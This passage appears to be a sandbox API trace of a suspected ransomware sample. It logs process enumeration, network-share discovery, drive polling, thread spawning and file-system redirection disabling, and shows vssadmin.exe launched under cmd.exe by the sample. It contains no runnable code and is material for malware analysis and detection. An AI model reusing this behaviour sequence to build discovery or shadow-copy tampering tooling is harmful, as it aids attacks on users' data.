th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="valid-permit.exe")) returned 1 [0062.463] lstrlenW (lpString="valid-permit.exe") returned 16 [0062.463] Process32NextW (in: hSnapshot=0x240, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="knights.exe")) returned 1 [0062.464] lstrlenW (lpString="knights.exe") returned 11 [0062.464] Process32NextW (in: hSnapshot=0x240, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0062.465] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0062.465] Process32NextW (in: hSnapshot=0x240, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ohbdap.exe")) returned 1 [0062.465] lstrlenW (lpString="ohbdap.exe") returned 10 [0062.465] Process32NextW (in: hSnapshot=0x240, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0062.466] lstrlenW (lpString="cmd.exe") returned 7 [0062.466] Process32NextW (in: hSnapshot=0x240, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0062.467] lstrlenW (lpString="conhost.exe") returned 11 [0062.467] Process32NextW (in: hSnapshot=0x240, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0062.467] lstrlenW (lpString="vssadmin.exe") returned 12 [0062.467] Process32NextW (in: hSnapshot=0x240, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0062.468] lstrlenW (lpString="VSSVC.exe") returned 9 [0062.468] Process32NextW (in: hSnapshot=0x240, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.469] lstrlenW (lpString="svchost.exe") returned 11 [0062.469] Process32NextW (in: hSnapshot=0x240, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0062.470] lstrlenW (lpString="LogonUI.exe") returned 11 [0062.470] Process32NextW (in: hSnapshot=0x240, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0 [0062.470] CloseHandle (hObject=0x240) returned 1 [0062.470] Sleep (dwMilliseconds=0x1f4) Thread: id = 5 os_tid = 0x9c0 [0031.909] WaitForSingleObject (hHandle=0x18fde4, dwMilliseconds=0xffffffff) returned 0xffffffff [0031.909] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e4a30 | out: hHeap=0x4b0000) returned 1 Thread: id = 6 os_tid = 0x9c4 [0031.909] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4a30 [0031.909] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4a30, Size=0x20) returned 0x4e5c50 [0031.909] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e5c50, Size=0x40) returned 0x4e6c30 [0031.909] GetLogicalDrives () returned 0x4 [0031.909] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x51e498 [0031.910] GetComputerNameW (in: lpBuffer=0x51e49c, nSize=0x239ff6c | out: lpBuffer="XDUWTFONO", nSize=0x239ff6c) returned 1 [0031.910] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x1000) returned 0x52e4a0 [0031.910] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x239ff3c | out: lphEnum=0x239ff3c*=0x4e61e0) returned 0x0 [0031.910] WNetEnumResourceW (in: hEnum=0x4e61e0, lpcCount=0x239ff38, lpBuffer=0x52e4a0, lpBufferSize=0x239ff40 | out: lpcCount=0x239ff38, lpBuffer=0x52e4a0, lpBufferSize=0x239ff40) returned 0x103 [0031.910] WNetCloseEnum (hEnum=0x4e61e0) returned 0x0 [0031.911] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x239ff3c | out: lphEnum=0x239ff3c*=0x3ec01f0) returned 0x0 [0036.969] WNetEnumResourceW (in: hEnum=0x3ec01f0, lpcCount=0x239ff38, lpBuffer=0x52e4a0, lpBufferSize=0x239ff40 | out: lpcCount=0x239ff38, lpBuffer=0x52e4a0, lpBufferSize=0x239ff40) returned 0x0 [0036.969] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x1000) returned 0x3f250c0 [0036.969] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x52e4a0, lphEnum=0x239ff10 | out: lphEnum=0x239ff10*=0x4e6360) returned 0x0 [0037.830] WNetEnumResourceW (in: hEnum=0x4e6360, lpcCount=0x239ff0c, lpBuffer=0x3f250c0, lpBufferSize=0x239ff14 | out: lpcCount=0x239ff0c, lpBuffer=0x3f250c0, lpBufferSize=0x239ff14) returned 0x103 [0037.830] WNetCloseEnum (hEnum=0x4e6360) returned 0x0 [0037.830] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x1000) returned 0x3f280d8 [0037.831] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x52e4c0, lphEnum=0x239ff10 | out: lphEnum=0x239ff10*=0x0) returned 0x4b8 [0057.289] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x1000) returned 0x3f260c8 [0057.289] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x52e4e0, lphEnum=0x239ff10 | out: lphEnum=0x239ff10*=0x0) returned 0x4c6 [0057.292] WNetEnumResourceW (in: hEnum=0x3ec01f0, lpcCount=0x239ff38, lpBuffer=0x52e4a0, lpBufferSize=0x239ff40 | out: lpcCount=0x239ff38, lpBuffer=0x52e4a0, lpBufferSize=0x239ff40) returned 0x103 [0057.292] WNetCloseEnum (hEnum=0x3ec01f0) returned 0x0 [0057.292] GetLogicalDrives () returned 0x4 [0057.292] Sleep (dwMilliseconds=0x64) [0057.392] GetLogicalDrives () returned 0x4 [0057.392] Sleep (dwMilliseconds=0x64) [0057.501] GetLogicalDrives () returned 0x4 [0057.501] Sleep (dwMilliseconds=0x64) [0057.611] GetLogicalDrives () returned 0x4 [0057.611] Sleep (dwMilliseconds=0x64) [0057.720] GetLogicalDrives () returned 0x4 [0057.720] Sleep (dwMilliseconds=0x64) [0057.829] GetLogicalDrives () returned 0x4 [0057.829] Sleep (dwMilliseconds=0x64) [0057.938] GetLogicalDrives () returned 0x4 [0057.938] Sleep (dwMilliseconds=0x64) [0058.047] GetLogicalDrives () returned 0x4 [0058.047] Sleep (dwMilliseconds=0x64) [0058.157] GetLogicalDrives () returned 0x4 [0058.157] Sleep (dwMilliseconds=0x64) [0058.266] GetLogicalDrives () returned 0x4 [0058.266] Sleep (dwMilliseconds=0x64) [0058.375] GetLogicalDrives () returned 0x4 [0058.375] Sleep (dwMilliseconds=0x64) [0058.484] GetLogicalDrives () returned 0x4 [0058.484] Sleep (dwMilliseconds=0x64) [0058.593] GetLogicalDrives () returned 0x4 [0058.593] Sleep (dwMilliseconds=0x64) [0058.703] GetLogicalDrives () returned 0x4 [0058.703] Sleep (dwMilliseconds=0x64) [0058.812] GetLogicalDrives () returned 0x4 [0058.812] Sleep (dwMilliseconds=0x64) [0058.921] GetLogicalDrives () returned 0x4 [0058.921] Sleep (dwMilliseconds=0x64) [0059.030] GetLogicalDrives () returned 0x4 [0059.030] Sleep (dwMilliseconds=0x64) [0059.139] GetLogicalDrives () returned 0x4 [0059.139] Sleep (dwMilliseconds=0x64) [0059.251] GetLogicalDrives () returned 0x4 [0059.251] Sleep (dwMilliseconds=0x64) [0059.358] GetLogicalDrives () returned 0x4 [0059.358] Sleep (dwMilliseconds=0x64) [0059.467] GetLogicalDrives () returned 0x4 [0059.467] Sleep (dwMilliseconds=0x64) [0059.576] GetLogicalDrives () returned 0x4 [0059.576] Sleep (dwMilliseconds=0x64) [0059.685] GetLogicalDrives () returned 0x4 [0059.685] Sleep (dwMilliseconds=0x64) [0059.795] GetLogicalDrives () returned 0x4 [0059.795] Sleep (dwMilliseconds=0x64) [0059.904] GetLogicalDrives () returned 0x4 [0059.904] Sleep (dwMilliseconds=0x64) [0060.013] GetLogicalDrives () returned 0x4 [0060.013] Sleep (dwMilliseconds=0x64) [0060.122] GetLogicalDrives () returned 0x4 [0060.122] Sleep (dwMilliseconds=0x64) [0060.231] GetLogicalDrives () returned 0x4 [0060.231] Sleep (dwMilliseconds=0x64) [0060.356] GetLogicalDrives () returned 0x4 [0060.357] Sleep (dwMilliseconds=0x64) [0060.465] GetLogicalDrives () returned 0x4 [0060.465] Sleep (dwMilliseconds=0x64) [0060.574] GetLogicalDrives () returned 0x4 [0060.575] Sleep (dwMilliseconds=0x64) [0060.684] GetLogicalDrives () returned 0x4 [0060.684] Sleep (dwMilliseconds=0x64) [0060.793] GetLogicalDrives () returned 0x4 [0060.793] Sleep (dwMilliseconds=0x64) [0060.902] GetLogicalDrives () returned 0x4 [0060.902] Sleep (dwMilliseconds=0x64) [0061.011] GetLogicalDrives () returned 0x4 [0061.011] Sleep (dwMilliseconds=0x64) [0061.120] GetLogicalDrives () returned 0x4 [0061.120] Sleep (dwMilliseconds=0x64) [0061.230] GetLogicalDrives () returned 0x4 [0061.230] Sleep (dwMilliseconds=0x64) [0061.339] GetLogicalDrives () returned 0x4 [0061.339] Sleep (dwMilliseconds=0x64) [0061.448] GetLogicalDrives () returned 0x4 [0061.449] Sleep (dwMilliseconds=0x64) [0061.557] GetLogicalDrives () returned 0x4 [0061.557] Sleep (dwMilliseconds=0x64) [0061.666] GetLogicalDrives () returned 0x4 [0061.666] Sleep (dwMilliseconds=0x64) [0061.776] GetLogicalDrives () returned 0x4 [0061.776] Sleep (dwMilliseconds=0x64) [0061.885] GetLogicalDrives () returned 0x4 [0061.885] Sleep (dwMilliseconds=0x64) [0061.994] GetLogicalDrives () returned 0x4 [0061.994] Sleep (dwMilliseconds=0x64) [0062.103] GetLogicalDrives () returned 0x4 [0062.103] Sleep (dwMilliseconds=0x64) [0062.213] GetLogicalDrives () returned 0x4 [0062.213] Sleep (dwMilliseconds=0x64) [0062.322] GetLogicalDrives () returned 0x4 [0062.322] Sleep (dwMilliseconds=0x64) [0062.431] GetLogicalDrives () returned 0x4 [0062.431] Sleep (dwMilliseconds=0x64) [0062.540] GetLogicalDrives () returned 0x4 [0062.540] Sleep (dwMilliseconds=0x64) Thread: id = 7 os_tid = 0x9c8 [0031.912] GetTickCount () returned 0x18268 [0031.912] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x24) returned 0x50b330 [0031.912] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x50b330, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x120 [0031.923] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x50b330, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x124 [0031.925] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x50b330, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x130 [0031.927] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x50b330, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x138 [0031.976] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x5001c8 [0031.976] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x5001c8, Size=0x20) returned 0x4e5c00 [0031.976] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x5001c8 [0031.976] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x5001c8, Size=0x20) returned 0x4e5b88 [0031.976] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0032.684] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0032.684] Wow64DisableWow64FsRedirection (in: OldValue=0x249ff84 | out: OldValue=0x249ff84*=0x0) returned 1 [0032.684] lstrlenW (lpString="kernel32.dll") returned 12 [0032.684] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5c00 | out: hHeap=0x4b0000) returned 1 [0032.684] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0032.684] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5b88 | out: hHeap=0x4b0000) returned 1 [0032.684] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x4eb428, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x140 [0032.685] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0032.964] GetTickCount () returned 0x1845b [0032.964] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0033.122] GetTickCount () returned 0x184f7 [0033.122] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0033.822] GetTickCount () returned 0x18600 [0033.822] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0034.062] GetTickCount () returned 0x186bb [0034.062] GetTickCount () returned 0x186bb [0034.062] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0034.291] GetTickCount () returned 0x187a5 [0034.291] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0034.893] GetTickCount () returned 0x189f6 [0034.893] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0035.416] GetTickCount () returned 0x18be9 [0035.416] GetTickCount () returned 0x18be9 [0035.416] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0035.721] GetTickCount () returned 0x18d12 [0035.721] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0036.145] GetTickCount () returned 0x18ec7 [0036.145] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0036.526] GetTickCount () returned 0x1903d [0036.526] GetTickCount () returned 0x1903d [0036.526] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0036.807] GetTickCount () returned 0x19137 [0036.807] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0036.941] GetTickCount () returned 0x191a4 [0036.941] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0037.325] GetTickCount () returned 0x1931a [0037.325] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0037.759] GetTickCount () returned 0x194cf [0037.759] GetTickCount () returned 0x194cf [0037.759] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0038.241] GetTickCount () returned 0x19674 [0038.241] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0038.469] GetTickCount () returned 0x1975e [0038.469] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0038.828] GetTickCount () returned 0x198a6 [0038.828] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0039.453] GetTickCount () returned 0x19ab8 [0039.453] GetTickCount () returned 0x19ab8 [0039.453] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0039.717] GetTickCount () returned 0x19ba2 [0039.717] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0040.040] GetTickCount () returned 0x19cda [0040.040] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0040.360] GetTickCount () returned 0x19e22 [0040.360] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0040.654] GetTickCount () returned 0x19f4a [0040.654] GetTickCount () returned 0x19f4a [0040.654] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0041.153] GetTickCount () returned 0x1a0ff [0041.153] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0041.733] GetTickCount () returned 0x1a302 [0041.733] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0042.231] GetTickCount () returned 0x1a4b7 [0042.231] GetTickCount () returned 0x1a4b7 [0042.231] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0042.608] GetTickCount () returned 0x1a5cf [0042.608] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0042.833] GetTickCount () returned 0x1a67b [0042.833] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0043.257] GetTickCount () returned 0x1a820 [0043.257] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0043.446] GetTickCount () returned 0x1a8eb [0043.446] GetTickCount () returned 0x1a8eb [0043.446] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0043.748] GetTickCount () returned 0x1a9f4 [0043.748] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0044.098] GetTickCount () returned 0x1ab4b [0044.103] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0044.325] GetTickCount () returned 0x1ac35 [0044.325] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0044.697] GetTickCount () returned 0x1adac [0044.697] GetTickCount () returned 0x1adac [0044.697] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0045.024] GetTickCount () returned 0x1aef3 [0045.024] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0045.251] GetTickCount () returned 0x1afce [0045.251] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0045.659] GetTickCount () returned 0x1b163 [0045.659] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0045.991] GetTickCount () returned 0x1b2bb [0045.991] GetTickCount () returned 0x1b2bb [0045.991] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0046.282] GetTickCount () returned 0x1b3d3 [0046.282] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0046.457] GetTickCount () returned 0x1b48f [0046.457] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0047.138] GetTickCount () returned 0x1b74d [0047.159] GetTickCount () returned 0x1b74d [0047.159] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0047.734] GetTickCount () returned 0x1b97e [0047.734] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0048.079] GetTickCount () returned 0x1bae5 [0048.079] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0048.872] GetTickCount () returned 0x1bdf1 [0048.872] GetTickCount () returned 0x1bdf1 [0048.872] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0049.162] GetTickCount () returned 0x1bf19 [0049.162] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0049.327] GetTickCount () returned 0x1bfc5 [0049.327] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0049.561] GetTickCount () returned 0x1c0af [0049.561] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0049.781] GetTickCount () returned 0x1c189 [0049.781] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0050.014] GetTickCount () returned 0x1c273 [0050.014] GetTickCount () returned 0x1c273 [0050.014] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0050.357] GetTickCount () returned 0x1c3cb [0050.357] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0050.466] GetTickCount () returned 0x1c438 [0050.466] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0051.448] GetTickCount () returned 0x1c80f [0051.448] GetTickCount () returned 0x1c80f [0051.448] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0051.711] GetTickCount () returned 0x1c908 [0051.711] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0052.187] GetTickCount () returned 0x1caec [0052.187] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0052.501] GetTickCount () returned 0x1cc24 [0052.501] GetTickCount () returned 0x1cc24 [0052.501] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0052.638] GetTickCount () returned 0x1ccb0 [0052.638] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0053.214] GetTickCount () returned 0x1cef1 [0053.214] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0053.465] GetTickCount () returned 0x1cfeb [0053.466] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0053.901] GetTickCount () returned 0x1d1a0 [0053.902] GetTickCount () returned 0x1d1a0 [0053.904] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0054.158] GetTickCount () returned 0x1d299 [0054.158] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0054.455] GetTickCount () returned 0x1d3c2 [0054.455] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0054.912] GetTickCount () returned 0x1d596 [0054.913] GetTickCount () returned 0x1d596 [0054.913] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0055.280] GetTickCount () returned 0x1d6fd [0055.280] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0055.435] GetTickCount () returned 0x1d799 [0055.435] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0055.575] GetTickCount () returned 0x1d825 [0055.575] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0055.810] GetTickCount () returned 0x1d90f [0055.811] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0056.026] GetTickCount () returned 0x1d9e9 [0056.026] GetTickCount () returned 0x1d9e9 [0056.026] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0056.458] GetTickCount () returned 0x1db9e [0056.458] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0056.682] GetTickCount () returned 0x1dc79 [0056.682] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0057.232] GetTickCount () returned 0x1de9b [0057.232] GetTickCount () returned 0x1de9b [0057.232] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0057.399] GetTickCount () returned 0x1df46 [0057.399] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0057.578] GetTickCount () returned 0x1dff2 [0057.578] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0058.518] GetTickCount () returned 0x1e3a9 [0058.528] GetTickCount () returned 0x1e3a9 [0058.528] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0058.776] GetTickCount () returned 0x1e4a3 [0058.776] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0058.963] GetTickCount () returned 0x1e55e [0058.963] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0059.140] GetTickCount () returned 0x1e619 [0059.141] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0059.646] GetTickCount () returned 0x1e80d [0059.646] GetTickCount () returned 0x1e80d [0059.646] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0060.062] GetTickCount () returned 0x1e9b2 [0060.062] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0060.409] GetTickCount () returned 0x1eb09 [0060.409] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0060.512] GetTickCount () returned 0x1eb76 [0060.512] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0060.846] GetTickCount () returned 0x1ecbe [0060.846] GetTickCount () returned 0x1ecbe [0060.846] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0061.075] GetTickCount () returned 0x1eda8 [0061.075] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0061.242] GetTickCount () returned 0x1ee44 [0061.242] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x0 [0061.242] GetTickCount () returned 0x1ee44 [0061.242] Sleep (dwMilliseconds=0x64) [0061.533] GetTickCount () returned 0x1ef6c [0061.534] Sleep (dwMilliseconds=0x64) [0062.344] GetTickCount () returned 0x1f298 [0062.344] GetTickCount () returned 0x1f298 [0062.344] Sleep (dwMilliseconds=0x64) [0062.537] GetTickCount () returned 0x1f353 [0062.537] Sleep (dwMilliseconds=0x64) Thread: id = 8 os_tid = 0x9cc [0031.913] GetTickCount () returned 0x18268 [0031.913] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x24) returned 0x4fbf58 [0031.913] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x4fbf58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11c [0031.924] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x4fbf58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x128 [0031.926] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x4fbf58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x134 [0031.928] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x4fbf58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13c [0031.976] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x5001c8 [0031.976] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x5001c8, Size=0x20) returned 0x4e5c78 [0031.976] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x5001c8 [0031.976] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x5001c8, Size=0x20) returned 0x4e5ca0 [0031.977] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0032.685] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0032.685] Wow64DisableWow64FsRedirection (in: OldValue=0x25dff84 | out: OldValue=0x25dff84*=0x0) returned 1 [0032.685] lstrlenW (lpString="kernel32.dll") returned 12 [0032.685] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, 